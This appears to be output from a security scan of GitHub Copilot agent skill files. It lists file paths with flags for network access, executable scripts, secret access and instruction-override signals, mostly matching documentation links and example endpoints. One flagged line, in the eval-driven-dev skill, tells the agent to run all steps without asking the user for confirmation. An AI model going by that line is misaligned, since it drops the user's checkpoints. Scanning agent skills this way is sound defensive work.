Use [managed identity for ACA image pulls](https://learn.microsoft.com/en-us/azure/container-apps/managed-identity-image-pull) - Network accessline 79
and the appropriate [ACR RBAC/ABAC role](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-rbac-built-in-roles-overview).
harness/github-copilot/skills/dotnet-mcp-builder/SKILL.md
- Network accessline 161
- [ModelContextProtocol NuGet profile](https://www.nuget.org/profiles/ModelContextProtocol) - Network accessline 162
- [ModelContextProtocol API reference](https://csharp.sdk.modelcontextprotocol.io/api/ModelContextProtocol.html) - Network accessline 163
- [EverythingServer sample](https://github.com/modelcontextprotocol/csharp-sdk/tree/main/samples/EverythingServer)
harness/github-copilot/skills/dotnet-mcp-builder/references/client.md
- Access to secretsline 24
[Credential-related source omitted] - Network accessline 39
var transport = new HttpClientTransport(new HttpClientTransportOptions { Endpoint = new Uri("https://my-server.example.com/mcp"), - Network accessline 40
{ Endpoint = new Uri("https://my-server.example.com/mcp"), TransportMode = HttpTransportMode.StreamableHttp, - Network accessline 41
Endpoint = new Uri("https://my-server.example.com/mcp"), - Network accessline 182
var transport = new HttpClientTransport(new HttpClientTransportOptions { Endpoint = new Uri("https://my-server.example.com/mcp"), - Network accessline 183
{ Endpoint = new Uri("https://my-server.example.com/mcp"), KnownSessionId = previousSessionId - Network accessline 184
Endpoint = new Uri("https://my-server.example.com/mcp"),
harness/github-copilot/skills/dotnet-mcp-builder/references/elicitation.md
- Network accessline 7
> **2026-07-28 changes the rules on HTTP.** The current revision removes HTTP sessions and the server→client `elicitation/create` request, so **`ElicitAsync` cannot be used on 2026-07-28 Streamable HTTP at all** — a server with `Stateless =
harness/github-copilot/skills/dotnet-mcp-builder/references/mcp-apps.md
- Network accessline 3
[MCP Apps](https://modelcontextprotocol.io/extensions/apps/overview) is the official extension that lets a tool return an **interactive UI** rendered in a sandboxed iframe inside the host (Claude, Claude Desktop, VS Code Copilot, Goose, Pos - Network accessline 5
> **Important:** SDK 2.x ships a dedicated extension package, **`ModelContextProtocol.Extensions.Apps`**, with typed MCP Apps support: register with `.WithMcpApps()` and annotate tools with `[McpAppUi(ResourceUri = "ui://...")]`. It replace - Network accessline 15
The full protocol spec is at [`@modelcontextprotocol/ext-apps`](https://github.com/modelcontextprotocol/ext-apps). - Network accessline 95
["resourceUri"] = "ui://charts/interactive" // Optionally: // ["csp"] = new JsonObject { ["default-src"] = "'self' https://cdn.example.com" }, - Network accessline 96
// Optionally: // ["csp"] = new JsonObject { ["default-src"] = "'self' https://cdn.example.com" }, // ["permissions"] = new JsonArray("clipboard-write") - Network accessline 97
// ["csp"] = new JsonObject { ["default-src"] = "'self' https://cdn.example.com" }, - Network accessline 148
<div id="root">Loading…</div> <script type="module"> import { App } from "https://esm.sh/@modelcontextprotocol/ext-apps@1"; - Network accessline 150
import { App } from "https://esm.sh/@modelcontextprotocol/ext-apps@1"; - Network accessline 174
**Tip:** for non-trivial UIs, build with Vite (React/Vue/Svelte/Solid — any of the [official starter templates](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples)) and have the build emit a single inlined HTML you embed as - Network accessline 209
For pure-UI iteration, [MCP Inspector](https://github.com/modelcontextprotocol/inspector) shows resource contents but does not fully render apps; for that, point Claude Desktop at your dev server.
harness/github-copilot/skills/dotnet-mcp-builder/references/packages.md
- Network accessline 5
All packages live under the [`ModelContextProtocol` NuGet profile](https://www.nuget.org/profiles/ModelContextProtocol). The official C# SDK repo is [`modelcontextprotocol/csharp-sdk`](https://github.com/modelcontextprotocol/csharp-sdk), ma - Network accessline 24
**Upgrading 1.x → 2.0 (highlights, not exhaustive):** stable v1.x APIs keep working; the deprecated capabilities (roots, sampling, logging) are now `[Obsolete]` with `MCP9005` warnings, experimental APIs moved (the 1.4.x Tasks surface → `Mo
harness/github-copilot/skills/dotnet-mcp-builder/references/testing.md
- Network accessline 7
[MCP Inspector](https://github.com/modelcontextprotocol/inspector) is the go-to tool for trying out a server by hand. It launches your server, connects via STDIO or HTTP, and gives you a UI to list/call tools, view resources, fire elicitati - Network accessline 25
Start the server normally (`dotnet run`), then in Inspector pick "Streamable HTTP" and enter the URL (e.g. `http://localhost:3001`). - Network accessline 166
- **"LLM keeps misusing the tool":** open Inspector and look at the schema/description as the LLM sees it. Most "the model is dumb" issues are actually missing `[Description]`. - **"Sampling/elicitation throws 'method not supported'":** the - Network accessline 168
- **"HTTP returns 404 for /":** check `app.MapMcp()` is called *and* you're hitting the right path. `MapMcp("/mcp")` means the URL is `http://host/mcp`, not `http://host/`.
harness/github-copilot/skills/dotnet-mcp-builder/references/transport-http.md
- Network accessline 44
app.Run("http://localhost:3001"); - Network accessline 78
Match this on the client side (`Endpoint = new Uri("https://host/mcp/v1")`). - Network accessline 103
Inside a tool, you can also inject `IHttpContextAccessor` if `AddHttpContextAccessor()` is registered. See the [`AspNetCoreMcpPerSessionTools` sample](https://github.com/modelcontextprotocol/csharp-sdk/tree/main/samples/AspNetCoreMcpPerSess - Network accessline 123
For OAuth flows where the *MCP server* is the resource server, follow the [MCP authorization spec](https://modelcontextprotocol.io/specification/2025-06-18/basic/authorization). The [`ProtectedMcpServer` sample](https://github.com/modelcont - Network accessline 142
builder.Services.AddCors(o => o.AddDefaultPolicy(p => p.WithOrigins("https://my-host.example.com") - Network accessline 143
p.WithOrigins("https://my-host.example.com")
harness/github-copilot/skills/dotnet-mcp-builder/references/transport-stdio.md
harness/github-copilot/skills/dotnet-modernization-assessment/references/assessment-guide.md
- Network accessline 39
The [.NET support policy](https://dotnet.microsoft.com/en-us/platform/support/policy/dotnet-core), - Network accessline 44
The [porting overview](https://learn.microsoft.com/en-us/dotnet/core/porting/) still describes an - Network accessline 48
The [Upgrade Assistant overview](https://learn.microsoft.com/en-us/dotnet/core/porting/upgrade-assistant-overview) - Network accessline 49
marks .NET Upgrade Assistant deprecated. Prefer the documented [GitHub Copilot upgrade workflow](https://learn.microsoft.com/en-us/dotnet/core/porting/github-copilot-upgrade/overview) when installed and appropriate, or reviewed manual chang - Network accessline 50
[GitHub Copilot upgrade workflow](https://learn.microsoft.com/en-us/dotnet/core/porting/github-copilot-upgrade/overview) - Network accessline 56
- [App Service custom containers](https://learn.microsoft.com/en-us/azure/app-service/configure-custom-container): - Network accessline 57
documents LTSC-based Windows parents, including ASP.NET Framework 4.8/LTSC 2019 and 4.8.1/LTSC 2022; explicitly excludes Windows Server 2025 base images. - [Windows container compatibility](https://learn.microsoft.com/en-us/virtualization - Network accessline 58
explicitly excludes Windows Server 2025 base images. - [Windows container compatibility](https://learn.microsoft.com/en-us/virtualization/windowscontainers/deploy-containers/version-compatibility): host/image build and isolation mode matt - Network accessline 59
- [Windows container compatibility](https://learn.microsoft.com/en-us/virtualization/windowscontainers/deploy-containers/version-compatibility): - Network accessline 60
host/image build and isolation mode matter separately from Azure service support. - [ACA containers](https://learn.microsoft.com/en-us/azure/container-apps/containers): documents Linux x86-64 (`linux/amd64`) images. Windows images are not - Network accessline 61
- [ACA containers](https://learn.microsoft.com/en-us/azure/container-apps/containers): - Network accessline 62
documents Linux x86-64 (`linux/amd64`) images. Windows images are not an ACA migration target. - [ASP.NET migration](https://learn.microsoft.com/en-us/aspnet/core/migration/fx-to-core/?view=aspnetcore-10.0): app-model differences and incr - Network accessline 63
- [ASP.NET migration](https://learn.microsoft.com/en-us/aspnet/core/migration/fx-to-core/?view=aspnetcore-10.0): - Network accessline 64
app-model differences and incremental migration need explicit design and tests. - [Unavailable .NET Framework technologies](https://learn.microsoft.com/en-us/dotnet/core/porting/net-framework-tech-unavailable): details remoting, COM+, Wor - Network accessline 65
- [Unavailable .NET Framework technologies](https://learn.microsoft.com/en-us/dotnet/core/porting/net-framework-tech-unavailable):
harness/github-copilot/skills/dotnet-modernization-assessment/scripts/dotnet_common.py
- Executable scriptline 1
Executable file
harness/github-copilot/skills/dotnet-modernization-assessment/scripts/inventory_dotnet.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/skills/dotnet-modernization-assessment/scripts/test_dotnet_assessment.py
- Executable scriptline 1
Executable file - Network accessline 50
"Legacy.vbproj", '<?xml version="1.0" encoding="utf-16"?>' '<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">' - Network accessline 51
'<?xml version="1.0" encoding="utf-16"?>' '<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">' '<PropertyGroup><TargetFrameworkVersion>v4.7.2</TargetFrameworkVersion></PropertyGroup>' - Network accessline 52
'<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">'
harness/github-copilot/skills/dotnet-modernization-assessment/scripts/validate_container_target.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 20
WINDOWS_BASE_BUILDS = {"17763": "ltsc2019", "20348": "ltsc2022"} SOURCES = { "appservice-windows": "https://learn.microsoft.com/en-us/azure/app-service/configure-custom-container", - Network accessline 21
SOURCES = { "appservice-windows": "https://learn.microsoft.com/en-us/azure/app-service/configure-custom-container", "appservice-linux": "https://learn.microsoft.com/en-us/azure/app-service/configure-custom-container", - Network accessline 22
"appservice-windows": "https://learn.microsoft.com/en-us/azure/app-service/configure-custom-container", - Network accessline 23
"appservice-linux": "https://learn.microsoft.com/en-us/azure/app-service/configure-custom-container", - Network accessline 24
"aca": "https://learn.microsoft.com/en-us/azure/container-apps/containers",
harness/github-copilot/skills/dotnet-upgrade/SKILL.md
- Network accessline 23
- Prefer incremental upgrades with rollback checkpoints over broad unreviewable rewrites. - Verify Microsoft's support policy and the installed upgrade workflow before selecting tools or targets. - The [Upgrade Assistant overview](https://l - Network accessline 24
- Verify Microsoft's support policy and the installed upgrade workflow before selecting tools or targets. - The [Upgrade Assistant overview](https://learn.microsoft.com/en-us/dotnet/core/porting/upgrade-assistant-overview), verified 2026-09 - Network accessline 25
- The [Upgrade Assistant overview](https://learn.microsoft.com/en-us/dotnet/core/porting/upgrade-assistant-overview), verified 2026-09-15, marks .NET Upgrade Assistant deprecated. Prefer the documented [GitHub Copilot upgrade workflow](http - Network accessline 26
- The [.NET support policy](https://dotnet.microsoft.com/en-us/platform/support/policy/dotnet-core), verified 2026-09-15, lists .NET 10 as active LTS. Recheck at execution time; a preview or the highest installed SDK is not automatically th
harness/github-copilot/skills/dotnet-windows-appservice/references/windows-appservice.md
- Network accessline 8
The [App Service custom-container reference](https://learn.microsoft.com/en-us/azure/app-service/configure-custom-container) - Network accessline 25
Use the [Windows host/image compatibility matrix](https://learn.microsoft.com/en-us/virtualization/windowscontainers/deploy-containers/version-compatibility) - Network accessline 26
for the build/test host and isolation mode. The [Windows custom-container quickstart](https://learn.microsoft.com/en-us/azure/app-service/quickstart-custom-container) uses a Windows container engine and an ASP.NET Framework image. A Linux e - Network accessline 27
[Windows custom-container quickstart](https://learn.microsoft.com/en-us/azure/app-service/quickstart-custom-container) - Network accessline 58
Use the registry's actual permission mode. The [ACR role reference](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-rbac-built-in-roles-overview) - Network accessline 59
[ACR role reference](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-rbac-built-in-roles-overview)
harness/github-copilot/skills/draw-io-diagram-generator/SKILL.md
- Network accessline 458
- [Draw.io VS Code extension](https://marketplace.visualstudio.com/items?itemName=hediet.vscode-drawio)
harness/github-copilot/skills/draw-io-diagram-generator/scripts/.gitignore
- Executable scriptline 1
Executable file
harness/github-copilot/skills/draw-io-diagram-generator/scripts/add-shape.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/skills/draw-io-diagram-generator/scripts/validate-drawio.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/skills/drawio/scripts/drawio-to-png.mjs
harness/github-copilot/skills/drawio/scripts/package.json
- Executable scriptline 1
Executable file
harness/github-copilot/skills/em-dash/SKILL.md
- Network accessline 105
- [Case for the em dash](https://www.hardingproject.com/p/the-case-for-the-em-dash) - Network accessline 106
- [em dash guide](https://www.thebookrefinery.com/writing/guide-hyphens-en-dashes-em-dashes/) - Network accessline 107
- [Explaining the em dash](https://www.reddit.com/r/writers/comments/1lv191m/can_someone_explain_em_dash/) - Network accessline 108
- [em dash wikipedia](https://en.wikipedia.org/wiki/Dash) - Network accessline 109
- [Verbose em dash history](https://www.linkedin.com/pulse/long-mark-brief-history-em-dash-christian-buckley-z1lbc) - Network accessline 110
- [Brief em dash history](https://thaothai.substack.com/p/a-brief-history-of-the-em-dash) - Network accessline 111
- [em dash punctuation](https://www.nytimes.com/2019/08/14/style/em-dash-punctuation.html) - Network accessline 112
- [em dash in retrospective](https://medium.com/the-jabber-journal/an-era-to-its-knee-an-em-dash-retrospective-cb5c3c52e4d2) - Network accessline 113
- [Punctuation](https://www.niu.edu/writing-tutorial/punctuation/index.shtml) - Network accessline 114
- [Punctuation Guide](https://www.thepunctuationguide.com/)
harness/github-copilot/skills/entra-agent-user/SKILL.md
- Network accessline 72
GET https://graph.microsoft.com/beta/servicePrincipals/{agent-identity-id} - Network accessline 88
Connect-MgGraph -Scopes "Application.Read.All" -TenantId "<tenant>" -UseDeviceCode -NoWelcome Invoke-MgGraphRequest -Method GET ` -Uri "https://graph.microsoft.com/beta/servicePrincipals/<agent-identity-id>" | ConvertTo-Json -Depth 3 - Network accessline 89
Invoke-MgGraphRequest -Method GET -Uri "https://graph.microsoft.com/beta/servicePrincipals/<agent-identity-id>" | ConvertTo-Json -Depth 3 - Network accessline 90
-Uri "https://graph.microsoft.com/beta/servicePrincipals/<agent-identity-id>" | ConvertTo-Json -Depth 3 - Network accessline 102
POST https://graph.microsoft.com/beta/users/microsoft.graph.agentUser - Network accessline 138
Invoke-MgGraphRequest -Method POST ` -Uri "https://graph.microsoft.com/beta/users/microsoft.graph.agentUser" ` - Network accessline 139
-Uri "https://graph.microsoft.com/beta/users/microsoft.graph.agentUser" ` - Network accessline 156
PUT https://graph.microsoft.com/beta/users/{agent-user-id}/manager/$ref - Network accessline 160
{ "@odata.id": "https://graph.microsoft.com/beta/users/{manager-user-id}" - Network accessline 161
"@odata.id": "https://graph.microsoft.com/beta/users/{manager-user-id}" - Network accessline 168
$managerBody = '{"@odata.id":"https://graph.microsoft.com/beta/users/<manager-user-id>"}' - Network accessline 169
Invoke-MgGraphRequest -Method PUT -Uri "https://graph.microsoft.com/beta/users/<agent-user-id>/manager/`$ref" - Network accessline 170
-Uri "https://graph.microsoft.com/beta/users/<agent-user-id>/manager/`$ref" ` - Network accessline 183
PATCH https://graph.microsoft.com/beta/users/{agent-user-id} - Network accessline 195
GET https://graph.microsoft.com/beta/subscribedSkus?$select=skuPartNumber,skuId,consumedUnits,prepaidUnits - Network accessline 204
POST https://graph.microsoft.com/beta/users/{agent-user-id}/assignLicense - Network accessline 221
# Set usage location Invoke-MgGraphRequest -Method PATCH ` -Uri "https://graph.microsoft.com/beta/users/<agent-user-id>" ` - Network accessline 222
Invoke-MgGraphRequest -Method PATCH -Uri "https://graph.microsoft.com/beta/users/<agent-user-id>" - Network accessline 223
-Uri "https://graph.microsoft.com/beta/users/<agent-user-id>" ` - Network accessline 227
$licenseBody = '{"addLicenses":[{"skuId":"<sku-id>"}],"removeLicenses":[]}' Invoke-MgGraphRequest -Method POST ` -Uri "https://graph.microsoft.com/beta/users/<agent-user-id>/assignLicense" ` - Network accessline 228
Invoke-MgGraphRequest -Method POST -Uri "https://graph.microsoft.com/beta/users/<agent-user-id>/assignLicense" - Network accessline 229
-Uri "https://graph.microsoft.com/beta/users/<agent-user-id>/assignLicense" ` - Network accessline 303
- [ ] The parent `identityParentId` was verified as `#microsoft.graph.agentIdentity` with `servicePrincipalType: ServiceIdentity`. - [ ] The request uses `https://graph.microsoft.com/beta/users/microsoft.graph.agentUser` and does not includ - Network accessline 304
- [ ] The request uses `https://graph.microsoft.com/beta/users/microsoft.graph.agentUser` and does not include a password. - Network accessline 312
- [Agent identities](https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-identities) - Network accessline 313
- [Agent users](https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-users) - Network accessline 314
- [Agent service principals](https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-service-principals) - Network accessline 315
- [Create agent identity blueprint](https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/create-blueprint) - Network accessline 316
- [Create agent identities](https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/create-delete-agent-identities) - Network accessline 317
- [agentUser resource type (Graph API)](https://learn.microsoft.com/en-us/graph/api/resources/agentuser?view=graph-rest-beta) - Network accessline 318
- [Create agentUser (Graph API)](https://learn.microsoft.com/en-us/graph/api/agentuser-post?view=graph-rest-beta)
harness/github-copilot/skills/eval-driven-dev/SKILL.md
- Network accessline 10
metadata: compatibility: "Python 3.10+" pixie-qa-source: "https://github.com/yiouli/pixie-qa/" - Network accessline 11
compatibility: "Python 3.10+" pixie-qa-source: "https://github.com/yiouli/pixie-qa/" pixie-qa-version: ">=0.8.4,<0.9.0" - Network accessline 12
pixie-qa-source: "https://github.com/yiouli/pixie-qa/" - Instruction override signalline 60
Follow Steps 1–6 straight through without stopping. Do not ask the user for confirmation at intermediate steps — verify each step yourself and continue. - Network accessline 263
- https://github.com/yiouli/pixie-qa/
harness/github-copilot/skills/eval-driven-dev/references/runnable-examples/fastapi-web-server.md
- Network accessline 30
transport = httpx.ASGITransport(app=app) - Network accessline 31
self._client = httpx.AsyncClient(transport=transport, base_url="http://test") - Network accessline 55
transport = httpx.ASGITransport(app=app_module.app) - Network accessline 56
self._client = httpx.AsyncClient(transport=transport, base_url="http://test") - Network accessline 83
async def setup(self) -> None: from myapp.main import app transport = httpx.ASGITransport(app=app) - Network accessline 84
from myapp.main import app transport = httpx.ASGITransport(app=app) self._client = httpx.AsyncClient(transport=transport, base_url="http://test") - Network accessline 85
transport = httpx.ASGITransport(app=app) - Network accessline 86
self._client = httpx.AsyncClient(transport=transport, base_url="http://test") - Network accessline 110
async def setup(self) -> None: # Assumes the server is already running (started via run-with-timeout.sh) self._client = httpx.AsyncClient(base_url="http://localhost:8000") - Network accessline 112
self._client = httpx.AsyncClient(base_url="http://localhost:8000")
harness/github-copilot/skills/eval-driven-dev/references/wrap-api.md
harness/github-copilot/skills/eval-driven-dev/resources/setup.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/github-copilot/skills/eval-driven-dev/resources/verify_step6_completion.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/skills/excalidraw-diagram-generator/SKILL.md
- Network accessline 21
- Require a clear description of what should be visualized, including key entities, steps, concepts, relationships, and flow. - If the request has too many elements, propose multiple diagrams before generating a crowded file. - Save output - Network accessline 23
- Save output as `<descriptive-name>.excalidraw`; users can open it at https://excalidraw.com by drag-and-drop, File → Open, or the Excalidraw VS Code extension. - Network accessline 41
Generate complete JSON with `type: "excalidraw"`, `version: 2`, `source: "https://excalidraw.com"`, an `elements` array, `appState.viewBackgroundColor: "#ffffff"`, `appState.gridSize: 20`, and `files: {}`. - Network accessline 45
"type": "excalidraw", "version": 2, "source": "https://excalidraw.com", - Network accessline 46
"version": 2, "source": "https://excalidraw.com", "elements": [], - Network accessline 47
"source": "https://excalidraw.com", - Network accessline 182
### To view 1. Visit https://excalidraw.com - Network accessline 183
1. Visit https://excalidraw.com - Network accessline 200
- [Excalidraw](https://excalidraw.com)
harness/github-copilot/skills/excalidraw-diagram-generator/references/excalidraw-schema.md
- Network accessline 9
type: "excalidraw"; version: number; // Always 2 source: string; // "https://excalidraw.com" - Network accessline 10
version: number; // Always 2 source: string; // "https://excalidraw.com" elements: ExcalidrawElement[]; - Network accessline 11
source: string; // "https://excalidraw.com" - Network accessline 306
"type": "excalidraw", "version": 2, "source": "https://excalidraw.com", - Network accessline 307
"version": 2, "source": "https://excalidraw.com", "elements": [ - Network accessline 308
"source": "https://excalidraw.com",
harness/github-copilot/skills/excalidraw-diagram-generator/references/icon-libraries.md
- Network accessline 20
1. Visit https://libraries.excalidraw.com/ 2. Search for "[AWS Architecture Icons/etc.]" and download the .excalidrawlib file - Network accessline 41
**Step 2: Download Library ** - Visit: https://libraries.excalidraw.com/ - Network accessline 42
- Visit: https://libraries.excalidraw.com/ - Search for your desired icon set (e.g., "AWS Architecture Icons") - Click download to get the `.excalidrawlib` file - Network accessline 271
- This workflow works with any valid `.excalidrawlib` file you provide. - Examples of library categories you may find on https://libraries.excalidraw.com/: - Network accessline 272
- Examples of library categories you may find on https://libraries.excalidraw.com/:
harness/github-copilot/skills/excalidraw-diagram-generator/scripts/.gitignore
- Executable scriptline 1
Executable file
harness/github-copilot/skills/excalidraw-diagram-generator/scripts/README.md
- Network accessline 27
2. **Download and place library file**: - Visit: https://libraries.excalidraw.com/ - Network accessline 28
- Visit: https://libraries.excalidraw.com/ - Search for "AWS Architecture Icons" and download the `.excalidrawlib` file - Rename it to match the directory name: `aws-architecture-icons.excalidrawlib` - Network accessline 70
1. Download desired Excalidraw libraries from https://libraries.excalidraw.com/ - Network accessline 77
- Examples found on https://libraries.excalidraw.com/ may include cloud/service icon sets.
harness/github-copilot/skills/excalidraw-diagram-generator/scripts/add-arrow.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/skills/excalidraw-diagram-generator/scripts/add-icon-to-diagram.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/skills/excalidraw-diagram-generator/scripts/split-excalidraw-library.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/skills/excalidraw-diagram-generator/templates/business-flow-swimlane-template.excalidraw
harness/github-copilot/skills/excalidraw-diagram-generator/templates/class-diagram-template.excalidraw
- Network accessline 2
"type": "excalidraw", "version": 2, "source": "https://marketplace.visualstudio.com/items?itemName=pomdtr.excalidraw-editor", - Network accessline 3
"version": 2, "source": "https://marketplace.visualstudio.com/items?itemName=pomdtr.excalidraw-editor", "elements": [ - Network accessline 4
"source": "https://marketplace.visualstudio.com/items?itemName=pomdtr.excalidraw-editor",
harness/github-copilot/skills/excalidraw-diagram-generator/templates/data-flow-diagram-template.excalidraw
harness/github-copilot/skills/excalidraw-diagram-generator/templates/er-diagram-template.excalidraw
harness/github-copilot/skills/excalidraw-diagram-generator/templates/flowchart-template.excalidraw
harness/github-copilot/skills/excalidraw-diagram-generator/templates/mindmap-template.excalidraw
- Network accessline 2
"type": "excalidraw", "version": 2, "source": "https://marketplace.visualstudio.com/items?itemName=pomdtr.excalidraw-editor", - Network accessline 3
"version": 2, "source": "https://marketplace.visualstudio.com/items?itemName=pomdtr.excalidraw-editor", "elements": [ - Network accessline 4
"source": "https://marketplace.visualstudio.com/items?itemName=pomdtr.excalidraw-editor",
harness/github-copilot/skills/excalidraw-diagram-generator/templates/relationship-template.excalidraw
harness/github-copilot/skills/excalidraw-diagram-generator/templates/sequence-diagram-template.excalidraw
harness/github-copilot/skills/eyeball/tools/eyeball.py
harness/github-copilot/skills/finnish-humanizer/SKILL.md
- Network accessline 115
- [Hakku/finnish-humanizer](https://github.com/Hakku/finnish-humanizer)
harness/github-copilot/skills/flowstudio-power-automate-build/SKILL.md
- Network accessline 21
- A FlowStudio MCP subscription and reachable server are required: https://mcp.flowstudio.app. Also preserve the subscription URL without sentence punctuation: https://mcp.flowstudio.app - Network accessline 22
- Use the MCP endpoint `https://mcp.flowstudio.app/mcp` with a valid JWT in `MCP_TOKEN`; never commit `YOUR_JWT_TOKEN`. - Network accessline 31
3. Resolve connections. Call `list_live_connections(environmentName=ENV)` before asking the user for anything. Keep only `statuses[0].status == "Connected"`, build `conn_map = {connectorName: id}`, and use `search="shared_sharepointonline"` - Network accessline 32
4. Build `connection_references` and `host_templates`. `connectionReferences[connector].connectionName` holds the GUID from `list_live_connections`; each action's `inputs.host.connectionName` or `host.connectionName` uses the map key such a - Network accessline 33
5. Construct the workflow definition with `$schema: "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#"`, `contentVersion: "1.0.0.0"`, `triggers`, `actions`, and optional `definition[" - Network accessline 141
- [FlowStudio MCP subscription](https://mcp.flowstudio.app) - Network accessline 142
- [FlowStudio MCP endpoint](https://mcp.flowstudio.app/mcp) - Network accessline 143
- [Logic Apps workflow definition schema](https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#)
harness/github-copilot/skills/flowstudio-power-automate-build/references/action-patterns-connectors.md
- Network accessline 26
}, "parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 27
"parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", "table": "MyList", - Network accessline 28
"dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 70
}, "parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 71
"parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", "table": "MyList", - Network accessline 72
"dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 100
}, "parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 101
"parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", "table": "MyList", - Network accessline 102
"dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 124
}, "parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 125
"parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", "table": "MyList", - Network accessline 126
"dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 153
"connectionName": "<connectionName>", "operationId": "CreateFile" }, "parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 154
"parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", "folderPath": "/My Library/Subfolder", - Network accessline 155
"dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 167
"connectionName": "<connectionName>", "operationId": "GetFileMetadataByPath" }, "parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 168
"parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", "path": "/My Library/Subfolder/@{variables('filename')}" - Network accessline 169
"dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 179
"connectionName": "<connectionName>", "operationId": "UpdateFile" }, "parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 180
"parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", "id": "@outputs('Get_File_Metadata_By_Path')?['body/{Identifier}']", - Network accessline 181
"dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 222
}, "parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 223
"parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", "table": "<list-guid>", - Network accessline 224
"dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 269
}, "parameters": { "dataset": "https://mytenant.sharepoint.com/sites/target-site", - Network accessline 270
"parameters": { "dataset": "https://mytenant.sharepoint.com/sites/target-site", "parameters/method": "POST", - Network accessline 271
"dataset": "https://mytenant.sharepoint.com/sites/target-site", - Network accessline 315
}, "parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 316
"parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", "id": "%252fShared%2bDocuments%252fdata.json", - Network accessline 317
"dataset": "https://mytenant.sharepoint.com/sites/mysite",
harness/github-copilot/skills/flowstudio-power-automate-build/references/action-patterns-core.md
- Network accessline 170
"inputs": { "method": "GET", "uri": "https://api.example.com/customers/@{variables('customerId')}" - Network accessline 171
"method": "GET", "uri": "https://api.example.com/customers/@{variables('customerId')}" } - Network accessline 172
"uri": "https://api.example.com/customers/@{variables('customerId')}" - Network accessline 233
"inputs": { "method": "POST", "uri": "https://api.example.com/contacts/@{item()?['Email']}" - Network accessline 234
"method": "POST", "uri": "https://api.example.com/contacts/@{item()?['Email']}" } - Network accessline 235
"uri": "https://api.example.com/contacts/@{item()?['Email']}" - Network accessline 364
"Start_Job": { "type": "Http", "inputs": { "method": "POST", "uri": "https://api.example.com/jobs" } - Network accessline 365
"type": "Http", "inputs": { "method": "POST", "uri": "https://api.example.com/jobs" } }, - Network accessline 366
"inputs": { "method": "POST", "uri": "https://api.example.com/jobs" } - Network accessline 384
"type": "Http", "runAfter": { "Delay": ["Succeeded"] }, "inputs": { "method": "GET", "uri": "https://api.example.com/jobs/history" } - Network accessline 385
"runAfter": { "Delay": ["Succeeded"] }, "inputs": { "method": "GET", "uri": "https://api.example.com/jobs/history" } }, - Network accessline 386
"inputs": { "method": "GET", "uri": "https://api.example.com/jobs/history" } - Network accessline 435
"type": "Http", "runAfter": {}, "inputs": { "method": "GET", "uri": "https://api.example.com/data?resolution=hi-res" } - Network accessline 436
"runAfter": {}, "inputs": { "method": "GET", "uri": "https://api.example.com/data?resolution=hi-res" } }, - Network accessline 437
"inputs": { "method": "GET", "uri": "https://api.example.com/data?resolution=hi-res" } - Network accessline 440
"type": "Http", "runAfter": { "HTTP_Get_Hi_Res": ["Failed"] }, "inputs": { "method": "GET", "uri": "https://api.example.com/data?resolution=low-res" } - Network accessline 441
"runAfter": { "HTTP_Get_Hi_Res": ["Failed"] }, "inputs": { "method": "GET", "uri": "https://api.example.com/data?resolution=low-res" } } - Network accessline 442
"inputs": { "method": "GET", "uri": "https://api.example.com/data?resolution=low-res" }
harness/github-copilot/skills/flowstudio-power-automate-build/references/action-patterns-data.md
- Network accessline 312
"inputs": { "method": "POST", "uri": "https://api.example.com/endpoint", - Network accessline 313
"method": "POST", "uri": "https://api.example.com/endpoint", "headers": { - Network accessline 314
"uri": "https://api.example.com/endpoint", - Network accessline 342
"inputs": { "method": "GET", "uri": "https://graph.microsoft.com/v1.0/users?$search=\"employeeId:@{variables('Code')}\"&$select=id,displayName", - Network accessline 343
